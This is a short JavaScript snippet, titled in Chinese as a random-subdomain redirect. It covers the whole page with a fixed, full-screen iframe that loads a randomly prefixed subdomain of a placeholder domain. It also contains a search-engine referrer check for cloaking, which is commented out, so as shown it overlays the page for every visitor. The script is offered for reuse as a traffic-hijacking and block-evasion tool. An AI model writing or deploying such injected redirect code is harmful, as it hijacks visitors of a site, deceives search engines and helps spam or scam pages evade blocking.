js 二级域名随机跳前缀

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
console.log(where)
var url = randstr();
// if(regexp.test(where)){
  document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
  var iframe = document.createElement('iframe');
  iframe.scrolling = 'auto';
  iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
  var div1 = document.createElement("div");
  var div =  document.createElement("div");
  div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
    var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;

  if (is_mobi) {
            iframe.src = url; //手机
         } else {
            iframe.src = url; //PC
         }
         div1.appendChild(iframe);
         div.appendChild(div1);
         document.write(div.innerHTML);
// }


function randstr() {
    var ua = navigator.userAgent.toLowerCase();  
    var isMobile = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(ua);  
    var prefixLength = 5;  
      
    var baseDomain = '域名';  
      
    var randomPrefix = '';  
    for (var i = 0; i < prefixLength; i++) {  
        var randomChar = Math.random().toString(36).substring(7);  
        randomPrefix += randomChar;  
    }  
      
    var randomUrl = 'https://' + randomPrefix + '.' + baseDomain;  
     
    return randomUrl;
    

};